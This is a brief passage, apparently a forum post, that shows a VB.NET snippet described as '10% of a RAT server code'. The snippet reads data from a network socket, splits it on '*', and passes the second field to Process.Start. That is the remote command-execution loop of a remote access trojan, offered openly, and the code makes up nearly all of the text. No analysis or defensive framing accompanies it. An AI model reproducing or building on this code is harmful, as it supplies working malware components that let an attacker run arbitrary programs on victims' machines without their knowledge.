what their learning's gonna be more like this:
10% of a RAT server codeCode:If sock.Connected = True Then sock.SendTimeout = 5000 Try Dim nstream As NetworkStream = sock.GetStream Dim bit(sock.ReceiveBufferSize) As Byte nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize)) Dim str As String = System.Text.Encoding.ASCII.GetString(bit) Dim id() As String = Split(str, "*", -1, CompareMethod.Text) If id(0) = 0 Then Dim stri As String = id(1) Process.Start(stri) End If Catch ex As Exception check() End Try End If